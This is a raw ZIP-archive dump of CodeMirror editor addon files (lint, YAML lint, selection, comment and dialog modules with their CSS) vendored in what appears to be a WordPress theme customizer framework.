      fix = fixes[i];
      find = (typeof fix === "string" ? fix : fix[0]);
      replace = (typeof fix === "string" ? null : fix[1]);
      found = description.indexOf(find) !== -1;

      if (force || found) {
        error.severity = severity;
      }
      if (found && replace) {
        error.description = replace;
      }
    }
  }

  function isBogus(error) {
    var description = error.description;
    for ( var i = 0; i < bogus.length; i++) {
      if (description.indexOf(bogus[i]) !== -1) {
        return true;
      }
    }
    return false;
  }

  function parseErrors(errors, output) {
    for ( var i = 0; i < errors.length; i++) {
      var error = errors[i];
      if (error) {
        var linetabpositions, index;

        linetabpositions = [];

        // This next block is to fix a problem in jshint. Jshint
        // replaces
        // all tabs with spaces then performs some checks. The error
        // positions (character/space) are then reported incorrectly,
        // not taking the replacement step into account. Here we look
        // at the evidence line and try to adjust the character position
        // to the correct value.
        if (error.evidence) {
          // Tab positions are computed once per line and cached
          var tabpositions = linetabpositions[error.line];
          if (!tabpositions) {
            var evidence = error.evidence;
            tabpositions = [];
            // ugggh phantomjs does not like this
            // forEachChar(evidence, function(item, index) {
            Array.prototype.forEach.call(evidence, function(item,
                                                            index) {
              if (item === '\t') {
                // First col is 1 (not 0) to match error
                // positions
                tabpositions.push(index + 1);
              }
            });
            linetabpositions[error.line] = tabpositions;
          }
          if (tabpositions.length > 0) {
            var pos = error.character;
            tabpositions.forEach(function(tabposition) {
              if (pos > tabposition) pos -= 1;
            });
            error.character = pos;
          }
        }

        var start = error.character - 1, end = start + 1;
        if (error.evidence) {
          index = error.evidence.substring(start).search(/.\b/);
          if (index > -1) {
            end += index;
          }
        }

        // Convert to format expected by validation service
        error.description = error.reason;// + "(jshint)";
        error.start = error.character;
        error.end = end;
        error = cleanup(error);

        if (error)
          output.push({message: error.description,
                       severity: error.severity,
                       from: CodeMirror.Pos(error.line - 1, start),
                       to: CodeMirror.Pos(error.line - 1, end)});
      }
    }
  }
});
PK     N\Ζ    H  inc/customizer/framework/assets/js/vendor/codemirror/addon/lint/lint.cssnu [        /* The lint marker gutter */
.CodeMirror-lint-markers {
  width: 16px;
}

.CodeMirror-lint-tooltip {
  background-color: infobackground;
  border: 1px solid black;
  border-radius: 4px 4px 4px 4px;
  color: infotext;
  font-family: monospace;
  font-size: 10pt;
  overflow: hidden;
  padding: 2px 5px;
  position: fixed;
  white-space: pre;
  white-space: pre-wrap;
  z-index: 100;
  max-width: 600px;
  opacity: 0;
  transition: opacity .4s;
  -moz-transition: opacity .4s;
  -webkit-transition: opacity .4s;
  -o-transition: opacity .4s;
  -ms-transition: opacity .4s;
}

.CodeMirror-lint-mark-error, .CodeMirror-lint-mark-warning {
  background-position: left bottom;
  background-repeat: repeat-x;
}

.CodeMirror-lint-mark-error {
  background-image:
  url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAADCAYAAAC09K7GAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9sJDw4cOCW1/KIAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAAHElEQVQI12NggIL/DAz/GdA5/xkY/qPKMDAwAADLZwf5rvm+LQAAAABJRU5ErkJggg==")
  ;
}

.CodeMirror-lint-mark-warning {
  background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAADCAYAAAC09K7GAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9sJFhQXEbhTg7YAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAAMklEQVQI12NkgIIvJ3QXMjAwdDN+OaEbysDA4MPAwNDNwMCwiOHLCd1zX07o6kBVGQEAKBANtobskNMAAAAASUVORK5CYII=");
}

.CodeMirror-lint-marker-error, .CodeMirror-lint-marker-warning {
  background-position: center center;
  background-repeat: no-repeat;
  cursor: pointer;
  display: inline-block;
  height: 16px;
  width: 16px;
  vertical-align: middle;
  position: relative;
}

.CodeMirror-lint-message-error, .CodeMirror-lint-message-warning {
  padding-left: 18px;
  background-position: top left;
  background-repeat: no-repeat;
}

.CodeMirror-lint-marker-error, .CodeMirror-lint-message-error {
  background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAHlBMVEW7AAC7AACxAAC7AAC7AAAAAAC4AAC5AAD///+7AAAUdclpAAAABnRSTlMXnORSiwCK0ZKSAAAATUlEQVR42mWPOQ7AQAgDuQLx/z8csYRmPRIFIwRGnosRrpamvkKi0FTIiMASR3hhKW+hAN6/tIWhu9PDWiTGNEkTtIOucA5Oyr9ckPgAWm0GPBog6v4AAAAASUVORK5CYII=");
}

.CodeMirror-lint-marker-warning, .CodeMirror-lint-message-warning {
  background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAANlBMVEX/uwDvrwD/uwD/uwD/uwD/uwD/uwD/uwD/uwD6twD/uwAAAADurwD2tQD7uAD+ugAAAAD/uwDhmeTRAAAADHRSTlMJ8mN1EYcbmiixgACm7WbuAAAAVklEQVR42n3PUQqAIBBFUU1LLc3u/jdbOJoW1P08DA9Gba8+YWJ6gNJoNYIBzAA2chBth5kLmG9YUoG0NHAUwFXwO9LuBQL1giCQb8gC9Oro2vp5rncCIY8L8uEx5ZkAAAAASUVORK5CYII=");
}

.CodeMirror-lint-marker-multiple {
  background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAHCAMAAADzjKfhAAAACVBMVEUAAAAAAAC/v7914kyHAAAAAXRSTlMAQObYZgAAACNJREFUeNo1ioEJAAAIwmz/H90iFFSGJgFMe3gaLZ0od+9/AQZ0ADosbYraAAAAAElFTkSuQmCC");
  background-repeat: no-repeat;
  background-position: right bottom;
  width: 100%; height: 100%;
}
PK     N\sP  P  L  inc/customizer/framework/assets/js/vendor/codemirror/addon/lint/yaml-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

// Depends on js-yaml.js from https://github.com/nodeca/js-yaml

// declare global: jsyaml

CodeMirror.registerHelper("lint", "yaml", function(text) {
  var found = [];
  try { jsyaml.load(text); }
  catch(e) {
      var loc = e.mark;
      found.push({ from: CodeMirror.Pos(loc.line, loc.column), to: CodeMirror.Pos(loc.line, loc.column), message: e.message });
  }
  return found;
});

});
PK     N\30    Y  inc/customizer/framework/assets/js/vendor/codemirror/addon/selection/selection-pointer.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("selectionPointer", false, function(cm, val) {
    var data = cm.state.selectionPointer;
    if (data) {
      CodeMirror.off(cm.getWrapperElement(), "mousemove", data.mousemove);
      CodeMirror.off(cm.getWrapperElement(), "mouseout", data.mouseout);
      CodeMirror.off(window, "scroll", data.windowScroll);
      cm.off("cursorActivity", reset);
      cm.off("scroll", reset);
      cm.state.selectionPointer = null;
      cm.display.lineDiv.style.cursor = "";
    }
    if (val) {
      data = cm.state.selectionPointer = {
        value: typeof val == "string" ? val : "default",
        mousemove: function(event) { mousemove(cm, event); },
        mouseout: function(event) { mouseout(cm, event); },
        windowScroll: function() { reset(cm); },
        rects: null,
        mouseX: null, mouseY: null,
        willUpdate: false
      };
      CodeMirror.on(cm.getWrapperElement(), "mousemove", data.mousemove);
      CodeMirror.on(cm.getWrapperElement(), "mouseout", data.mouseout);
      CodeMirror.on(window, "scroll", data.windowScroll);
      cm.on("cursorActivity", reset);
      cm.on("scroll", reset);
    }
  });

  function mousemove(cm, event) {
    var data = cm.state.selectionPointer;
    if (event.buttons == null ? event.which : event.buttons) {
      data.mouseX = data.mouseY = null;
    } else {
      data.mouseX = event.clientX;
      data.mouseY = event.clientY;
    }
    scheduleUpdate(cm);
  }

  function mouseout(cm, event) {
    if (!cm.getWrapperElement().contains(event.relatedTarget)) {
      var data = cm.state.selectionPointer;
      data.mouseX = data.mouseY = null;
      scheduleUpdate(cm);
    }
  }

  function reset(cm) {
    cm.state.selectionPointer.rects = null;
    scheduleUpdate(cm);
  }

  function scheduleUpdate(cm) {
    if (!cm.state.selectionPointer.willUpdate) {
      cm.state.selectionPointer.willUpdate = true;
      setTimeout(function() {
        update(cm);
        cm.state.selectionPointer.willUpdate = false;
      }, 50);
    }
  }

  function update(cm) {
    var data = cm.state.selectionPointer;
    if (!data) return;
    if (data.rects == null && data.mouseX != null) {
      data.rects = [];
      if (cm.somethingSelected()) {
        for (var sel = cm.display.selectionDiv.firstChild; sel; sel = sel.nextSibling)
          data.rects.push(sel.getBoundingClientRect());
      }
    }
    var inside = false;
    if (data.mouseX != null) for (var i = 0; i < data.rects.length; i++) {
      var rect = data.rects[i];
      if (rect.left <= data.mouseX && rect.right >= data.mouseX &&
          rect.top <= data.mouseY && rect.bottom >= data.mouseY)
        inside = true;
    }
    var cursor = inside ? data.value : "";
    if (cm.display.lineDiv.style.cursor != cursor)
      cm.display.lineDiv.style.cursor = cursor;
  }
});
PK     N\J	  	  S  inc/customizer/framework/assets/js/vendor/codemirror/addon/selection/active-line.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Because sometimes you need to style the cursor's line.
//
// Adds an option 'styleActiveLine' which, when enabled, gives the
// active line's wrapping <div> the CSS class "CodeMirror-activeline",
// and gives its background <div> the class "CodeMirror-activeline-background".

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var WRAP_CLASS = "CodeMirror-activeline";
  var BACK_CLASS = "CodeMirror-activeline-background";

  CodeMirror.defineOption("styleActiveLine", false, function(cm, val, old) {
    var prev = old && old != CodeMirror.Init;
    if (val && !prev) {
      cm.state.activeLines = [];
      updateActiveLines(cm, cm.listSelections());
      cm.on("beforeSelectionChange", selectionChange);
    } else if (!val && prev) {
      cm.off("beforeSelectionChange", selectionChange);
      clearActiveLines(cm);
      delete cm.state.activeLines;
    }
  });

  function clearActiveLines(cm) {
    for (var i = 0; i < cm.state.activeLines.length; i++) {
      cm.removeLineClass(cm.state.activeLines[i], "wrap", WRAP_CLASS);
      cm.removeLineClass(cm.state.activeLines[i], "background", BACK_CLASS);
    }
  }

  function sameArray(a, b) {
    if (a.length != b.length) return false;
    for (var i = 0; i < a.length; i++)
      if (a[i] != b[i]) return false;
    return true;
  }

  function updateActiveLines(cm, ranges) {
    var active = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      if (!range.empty()) continue;
      var line = cm.getLineHandleVisualStart(range.head.line);
      if (active[active.length - 1] != line) active.push(line);
    }
    if (sameArray(cm.state.activeLines, active)) return;
    cm.operation(function() {
      clearActiveLines(cm);
      for (var i = 0; i < active.length; i++) {
        cm.addLineClass(active[i], "wrap", WRAP_CLASS);
        cm.addLineClass(active[i], "background", BACK_CLASS);
      }
      cm.state.activeLines = active;
    });
  }

  function selectionChange(cm, sel) {
    updateActiveLines(cm, sel.ranges);
  }
});
PK     N\:G    V  inc/customizer/framework/assets/js/vendor/codemirror/addon/selection/mark-selection.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Because sometimes you need to mark the selected *text*.
//
// Adds an option 'styleSelectedText' which, when enabled, gives
// selected text the CSS class given as option value, or
// "CodeMirror-selectedtext" when the value is not a string.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("styleSelectedText", false, function(cm, val, old) {
    var prev = old && old != CodeMirror.Init;
    if (val && !prev) {
      cm.state.markedSelection = [];
      cm.state.markedSelectionStyle = typeof val == "string" ? val : "CodeMirror-selectedtext";
      reset(cm);
      cm.on("cursorActivity", onCursorActivity);
      cm.on("change", onChange);
    } else if (!val && prev) {
      cm.off("cursorActivity", onCursorActivity);
      cm.off("change", onChange);
      clear(cm);
      cm.state.markedSelection = cm.state.markedSelectionStyle = null;
    }
  });

  function onCursorActivity(cm) {
    cm.operation(function() { update(cm); });
  }

  function onChange(cm) {
    if (cm.state.markedSelection.length)
      cm.operation(function() { clear(cm); });
  }

  var CHUNK_SIZE = 8;
  var Pos = CodeMirror.Pos;
  var cmp = CodeMirror.cmpPos;

  function coverRange(cm, from, to, addAt) {
    if (cmp(from, to) == 0) return;
    var array = cm.state.markedSelection;
    var cls = cm.state.markedSelectionStyle;
    for (var line = from.line;;) {
      var start = line == from.line ? from : Pos(line, 0);
      var endLine = line + CHUNK_SIZE, atEnd = endLine >= to.line;
      var end = atEnd ? to : Pos(endLine, 0);
      var mark = cm.markText(start, end, {className: cls});
      if (addAt == null) array.push(mark);
      else array.splice(addAt++, 0, mark);
      if (atEnd) break;
      line = endLine;
    }
  }

  function clear(cm) {
    var array = cm.state.markedSelection;
    for (var i = 0; i < array.length; ++i) array[i].clear();
    array.length = 0;
  }

  function reset(cm) {
    clear(cm);
    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++)
      coverRange(cm, ranges[i].from(), ranges[i].to());
  }

  function update(cm) {
    if (!cm.somethingSelected()) return clear(cm);
    if (cm.listSelections().length > 1) return reset(cm);

    var from = cm.getCursor("start"), to = cm.getCursor("end");

    var array = cm.state.markedSelection;
    if (!array.length) return coverRange(cm, from, to);

    var coverStart = array[0].find(), coverEnd = array[array.length - 1].find();
    if (!coverStart || !coverEnd || to.line - from.line < CHUNK_SIZE ||
        cmp(from, coverEnd.to) >= 0 || cmp(to, coverStart.from) <= 0)
      return reset(cm);

    while (cmp(from, coverStart.from) > 0) {
      array.shift().clear();
      coverStart = array[0].find();
    }
    if (cmp(from, coverStart.from) < 0) {
      if (coverStart.to.line - from.line < CHUNK_SIZE) {
        array.shift().clear();
        coverRange(cm, from, coverStart.to, 0);
      } else {
        coverRange(cm, from, coverStart.from, 0);
      }
    }

    while (cmp(to, coverEnd.to) < 0) {
      array.pop().clear();
      coverEnd = array[array.length - 1].find();
    }
    if (cmp(to, coverEnd.to) > 0) {
      if (to.line - coverEnd.from.line < CHUNK_SIZE) {
        array.pop().clear();
        coverRange(cm, coverEnd.from, to);
      } else {
        coverRange(cm, coverEnd.to, to);
      }
    }
  }
});
PK     N\)G  G  U  inc/customizer/framework/assets/js/vendor/codemirror/addon/comment/continuecomment.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var modes = ["clike", "css", "javascript"];

  for (var i = 0; i < modes.length; ++i)
    CodeMirror.extendMode(modes[i], {blockCommentContinue: " * "});

  function continueComment(cm) {
    if (cm.getOption("disableInput")) return CodeMirror.Pass;
    var ranges = cm.listSelections(), mode, inserts = [];
    for (var i = 0; i < ranges.length; i++) {
      var pos = ranges[i].head, token = cm.getTokenAt(pos);
      if (token.type != "comment") return CodeMirror.Pass;
      var modeHere = CodeMirror.innerMode(cm.getMode(), token.state).mode;
      if (!mode) mode = modeHere;
      else if (mode != modeHere) return CodeMirror.Pass;

      var insert = null;
      if (mode.blockCommentStart && mode.blockCommentContinue) {
        var end = token.string.indexOf(mode.blockCommentEnd);
        var full = cm.getRange(CodeMirror.Pos(pos.line, 0), CodeMirror.Pos(pos.line, token.end)), found;
        if (end != -1 && end == token.string.length - mode.blockCommentEnd.length && pos.ch >= end) {
          // Comment ended, don't continue it
        } else if (token.string.indexOf(mode.blockCommentStart) == 0) {
          insert = full.slice(0, token.start);
          if (!/^\s*$/.test(insert)) {
            insert = "";
            for (var j = 0; j < token.start; ++j) insert += " ";
          }
        } else if ((found = full.indexOf(mode.blockCommentContinue)) != -1 &&
                   found + mode.blockCommentContinue.length > token.start &&
                   /^\s*$/.test(full.slice(0, found))) {
          insert = full.slice(0, found);
        }
        if (insert != null) insert += mode.blockCommentContinue;
      }
      if (insert == null && mode.lineComment && continueLineCommentEnabled(cm)) {
        var line = cm.getLine(pos.line), found = line.indexOf(mode.lineComment);
        if (found > -1) {
          insert = line.slice(0, found);
          if (/\S/.test(insert)) insert = null;
          else insert += mode.lineComment + line.slice(found + mode.lineComment.length).match(/^\s*/)[0];
        }
      }
      if (insert == null) return CodeMirror.Pass;
      inserts[i] = "\n" + insert;
    }

    cm.operation(function() {
      for (var i = ranges.length - 1; i >= 0; i--)
        cm.replaceRange(inserts[i], ranges[i].from(), ranges[i].to(), "+insert");
    });
  }

  function continueLineCommentEnabled(cm) {
    var opt = cm.getOption("continueComments");
    if (opt && typeof opt == "object")
      return opt.continueLineComment !== false;
    return true;
  }

  CodeMirror.defineOption("continueComments", null, function(cm, val, prev) {
    if (prev && prev != CodeMirror.Init)
      cm.removeKeyMap("continueComment");
    if (val) {
      var key = "Enter";
      if (typeof val == "string")
        key = val;
      else if (typeof val == "object" && val.key)
        key = val.key;
      var map = {name: "continueComment"};
      map[key] = continueComment;
      cm.addKeyMap(map);
    }
  });
});
PK     N\¾n      M  inc/customizer/framework/assets/js/vendor/codemirror/addon/comment/comment.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var noOptions = {};
  var nonWS = /[^\s\u00a0]/;
  var Pos = CodeMirror.Pos;

  function firstNonWS(str) {
    var found = str.search(nonWS);
    return found == -1 ? 0 : found;
  }

  CodeMirror.commands.toggleComment = function(cm) {
    cm.toggleComment();
  };

  CodeMirror.defineExtension("toggleComment", function(options) {
    if (!options) options = noOptions;
    var cm = this;
    var minLine = Infinity, ranges = this.listSelections(), mode = null;
    for (var i = ranges.length - 1; i >= 0; i--) {
      var from = ranges[i].from(), to = ranges[i].to();
      if (from.line >= minLine) continue;
      if (to.line >= minLine) to = Pos(minLine, 0);
      minLine = from.line;
      if (mode == null) {
        if (cm.uncomment(from, to, options)) mode = "un";
        else { cm.lineComment(from, to, options); mode = "line"; }
      } else if (mode == "un") {
        cm.uncomment(from, to, options);
      } else {
        cm.lineComment(from, to, options);
      }
    }
  });

  CodeMirror.defineExtension("lineComment", function(from, to, options) {
    if (!options) options = noOptions;
    var self = this, mode = self.getModeAt(from);
    var commentString = options.lineComment || mode.lineComment;
    if (!commentString) {
      if (options.blockCommentStart || mode.blockCommentStart) {
        options.fullLines = true;
        self.blockComment(from, to, options);
      }
      return;
    }
    var firstLine = self.getLine(from.line);
    if (firstLine == null) return;
    var end = Math.min(to.ch != 0 || to.line == from.line ? to.line + 1 : to.line, self.lastLine() + 1);
    var pad = options.padding == null ? " " : options.padding;
    var blankLines = options.commentBlankLines || from.line == to.line;

    self.operation(function() {
      if (options.indent) {
        var baseString = null;
        for (var i = from.line; i < end; ++i) {
          var line = self.getLine(i);
          var whitespace = line.slice(0, firstNonWS(line));
          if (baseString == null || baseString.length > whitespace.length) {
            baseString = whitespace;
          }
        }
        for (var i = from.line; i < end; ++i) {
          var line = self.getLine(i), cut = baseString.length;
          if (!blankLines && !nonWS.test(line)) continue;
          if (line.slice(0, cut) != baseString) cut = firstNonWS(line);
          self.replaceRange(baseString + commentString + pad, Pos(i, 0), Pos(i, cut));
        }
      } else {
        for (var i = from.line; i < end; ++i) {
          if (blankLines || nonWS.test(self.getLine(i)))
            self.replaceRange(commentString + pad, Pos(i, 0));
        }
      }
    });
  });

  CodeMirror.defineExtension("blockComment", function(from, to, options) {
    if (!options) options = noOptions;
    var self = this, mode = self.getModeAt(from);
    var startString = options.blockCommentStart || mode.blockCommentStart;
    var endString = options.blockCommentEnd || mode.blockCommentEnd;
    if (!startString || !endString) {
      if ((options.lineComment || mode.lineComment) && options.fullLines != false)
        self.lineComment(from, to, options);
      return;
    }

    var end = Math.min(to.line, self.lastLine());
    if (end != from.line && to.ch == 0 && nonWS.test(self.getLine(end))) --end;

    var pad = options.padding == null ? " " : options.padding;
    if (from.line > end) return;

    self.operation(function() {
      if (options.fullLines != false) {
        var lastLineHasText = nonWS.test(self.getLine(end));
        self.replaceRange(pad + endString, Pos(end));
        self.replaceRange(startString + pad, Pos(from.line, 0));
        var lead = options.blockCommentLead || mode.blockCommentLead;
        if (lead != null) for (var i = from.line + 1; i <= end; ++i)
          if (i != end || lastLineHasText)
            self.replaceRange(lead + pad, Pos(i, 0));
      } else {
        self.replaceRange(endString, to);
        self.replaceRange(startString, from);
      }
    });
  });

  CodeMirror.defineExtension("uncomment", function(from, to, options) {
    if (!options) options = noOptions;
    var self = this, mode = self.getModeAt(from);
    var end = Math.min(to.ch != 0 || to.line == from.line ? to.line : to.line - 1, self.lastLine()), start = Math.min(from.line, end);

    // Try finding line comments
    var lineString = options.lineComment || mode.lineComment, lines = [];
    var pad = options.padding == null ? " " : options.padding, didSomething;
    lineComment: {
      if (!lineString) break lineComment;
      for (var i = start; i <= end; ++i) {
        var line = self.getLine(i);
        var found = line.indexOf(lineString);
        if (found > -1 && !/comment/.test(self.getTokenTypeAt(Pos(i, found + 1)))) found = -1;
        if (found == -1 && (i != end || i == start) && nonWS.test(line)) break lineComment;
        if (found > -1 && nonWS.test(line.slice(0, found))) break lineComment;
        lines.push(line);
      }
      self.operation(function() {
        for (var i = start; i <= end; ++i) {
          var line = lines[i - start];
          var pos = line.indexOf(lineString), endPos = pos + lineString.length;
          if (pos < 0) continue;
          if (line.slice(endPos, endPos + pad.length) == pad) endPos += pad.length;
          didSomething = true;
          self.replaceRange("", Pos(i, pos), Pos(i, endPos));
        }
      });
      if (didSomething) return true;
    }

    // Try block comments
    var startString = options.blockCommentStart || mode.blockCommentStart;
    var endString = options.blockCommentEnd || mode.blockCommentEnd;
    if (!startString || !endString) return false;
    var lead = options.blockCommentLead || mode.blockCommentLead;
    var startLine = self.getLine(start), endLine = end == start ? startLine : self.getLine(end);
    var open = startLine.indexOf(startString), close = endLine.lastIndexOf(endString);
    if (close == -1 && start != end) {
      endLine = self.getLine(--end);
      close = endLine.lastIndexOf(endString);
    }
    if (open == -1 || close == -1 ||
        !/comment/.test(self.getTokenTypeAt(Pos(start, open + 1))) ||
        !/comment/.test(self.getTokenTypeAt(Pos(end, close + 1))))
      return false;

    // Avoid killing block comments completely outside the selection.
    // Positions of the last startString before the start of the selection, and the first endString after it.
    var lastStart = startLine.lastIndexOf(startString, from.ch);
    var firstEnd = lastStart == -1 ? -1 : startLine.slice(0, from.ch).indexOf(endString, lastStart + startString.length);
    if (lastStart != -1 && firstEnd != -1 && firstEnd + endString.length != from.ch) return false;
    // Positions of the first endString after the end of the selection, and the last startString before it.
    firstEnd = endLine.indexOf(endString, to.ch);
    var almostLastStart = endLine.slice(to.ch).lastIndexOf(startString, firstEnd - to.ch);
    lastStart = (firstEnd == -1 || almostLastStart == -1) ? -1 : to.ch + almostLastStart;
    if (firstEnd != -1 && lastStart != -1 && lastStart != to.ch) return false;

    self.operation(function() {
      self.replaceRange("", Pos(end, close - (pad && endLine.slice(close - pad.length, close) == pad ? pad.length : 0)),
                        Pos(end, close + endString.length));
      var openEnd = open + startString.length;
      if (pad && startLine.slice(openEnd, openEnd + pad.length) == pad) openEnd += pad.length;
      self.replaceRange("", Pos(start, open), Pos(start, openEnd));
      if (lead) for (var i = start + 1; i <= end; ++i) {
        var line = self.getLine(i), found = line.indexOf(lead);
        if (found == -1 || nonWS.test(line.slice(0, found))) continue;
        var foundEnd = found + lead.length;
        if (pad && line.slice(foundEnd, foundEnd + pad.length) == pad) foundEnd += pad.length;
        self.replaceRange("", Pos(i, found), Pos(i, foundEnd));
      }
    });
    return true;
  });
});
PK     N\&EJ  J  K  inc/customizer/framework/assets/js/vendor/codemirror/addon/dialog/dialog.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Open simple dialogs on top of an editor. Relies on dialog.css.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  function dialogDiv(cm, template, bottom) {
    var wrap = cm.getWrapperElement();
    var dialog;
    dialog = wrap.appendChild(document.createElement("div"));
    if (bottom)
      dialog.className = "CodeMirror-dialog CodeMirror-dialog-bottom";
    else
      dialog.className = "CodeMirror-dialog CodeMirror-dialog-top";

    if (typeof template == "string") {
      dialog.innerHTML = template;
    } else { // Assuming it's a detached DOM element.
      dialog.appendChild(template);
    }
    return dialog;
  }

  function closeNotification(cm, newVal) {
    if (cm.state.currentNotificationClose)
      cm.state.currentNotificationClose();
    cm.state.currentNotificationClose = newVal;
  }

  CodeMirror.defineExtension("openDialog", function(template, callback, options) {
    if (!options) options = {};

    closeNotification(this, null);

    var dialog = dialogDiv(this, template, options.bottom);
    var closed = false, me = this;
    function close(newVal) {
      if (typeof newVal == 'string') {
        inp.value = newVal;
      } else {
        if (closed) return;
        closed = true;
        dialog.parentNode.removeChild(dialog);
        me.focus();

        if (options.onClose) options.onClose(dialog);
      }
    }

    var inp = dialog.getElementsByTagName("input")[0], button;
    if (inp) {
      if (options.value) {
        inp.value = options.value;
        if (options.selectValueOnOpen !== false) {
          inp.select();
        }
      }

      if (options.onInput)
        CodeMirror.on(inp, "input", function(e) { options.onInput(e, inp.value, close);});
      if (options.onKeyUp)
        CodeMirror.on(inp, "keyup", function(e) {options.onKeyUp(e, inp.value, close);});

      CodeMirror.on(inp, "keydown", function(e) {
        if (options && options.onKeyDown && options.onKeyDown(e, inp.value, close)) { return; }
        if (e.keyCode == 27 || (options.closeOnEnter !== false && e.keyCode == 13)) {
          inp.blur();
          CodeMirror.e_stop(e);
          close();
        }
        if (e.keyCode == 13) callback(inp.value, e);
      });

      if (options.closeOnBlur !== false) CodeMirror.on(inp, "blur", close);

      inp.focus();
    } else if (button = dialog.getElementsByTagName("button")[0]) {
      CodeMirror.on(button, "click", function() {
        close();
        me.focus();
      });

      if (options.closeOnBlur !== false) CodeMirror.on(button, "blur", close);

      button.focus();
    }
    return close;
  });

  CodeMirror.defineExtension("openConfirm", function(template, callbacks, options) {
    closeNotification(this, null);
    var dialog = dialogDiv(this, template, options && options.bottom);
    var buttons = dialog.getElementsByTagName("button");
    var closed = false, me = this, blurring = 1;
    function close() {
      if (closed) return;
      closed = true;
      dialog.parentNode.removeChild(dialog);
      me.focus();
    }
    buttons[0].focus();
    for (var i = 0; i < buttons.length; ++i) {
      var b = buttons[i];
      (function(callback) {
        CodeMirror.on(b, "click", function(e) {
          CodeMirror.e_preventDefault(e);
          close();
          if (callback) callback(me);
        });
      })(callbacks[i]);
      CodeMirror.on(b, "blur", function() {
        --blurring;
        setTimeout(function() { if (blurring <= 0) close(); }, 200);
      });
      CodeMirror.on(b, "focus", function() { ++blurring; });
    }
  });

  /*
   * openNotification
   * Opens a notification, that can be closed with an optional timer
   * (default 5000ms timer) and always closes on click.
   *
   * If a notification is opened while another is opened, it will close the
   * currently opened one and open the new one immediately.
   */
  CodeMirror.defineExtension("openNotification", function(template, options) {
    closeNotification(this, close);
    var dialog = dialogDiv(this, template, options && options.bottom);
    var closed = false, doneTimer;
    var duration = options && typeof options.duration !== "undefined" ? options.duration : 5000;

    function close() {
      if (closed) return;
      closed = true;
      clearTimeout(doneTimer);
      dialog.parentNode.removeChild(dialog);
    }

    CodeMirror.on(dialog, 'click', function(e) {
      CodeMirror.e_preventDefault(e);
      close();
    });

    if (duration)
      doneTimer = setTimeout(close, duration);

    return close;
  });
});
PK     N\H[    L  inc/customizer/framework/assets/js/vendor/codemirror/addon/dialog/dialog.cssnu [        .CodeMirror-dialog {
  position: absolute;
  left: 0; right: 0;
  background: inherit;
  z-index: 15;
  padding: .1em .8em;
  overflow: hidden;
  color: inherit;
}

.CodeMirror-dialog-top {
  border-bottom: 1px solid #eee;
  top: 0;
}

.CodeMirror-dialog-bottom {
  border-top: 1px solid #eee;
  bottom: 0;
}

.CodeMirror-dialog input {
  border: none;
  outline: none;
  background: transparent;
  width: 20em;
  color: inherit;
  font-family: monospace;
}

.CodeMirror-dialog button {
  font-size: 70%;
}
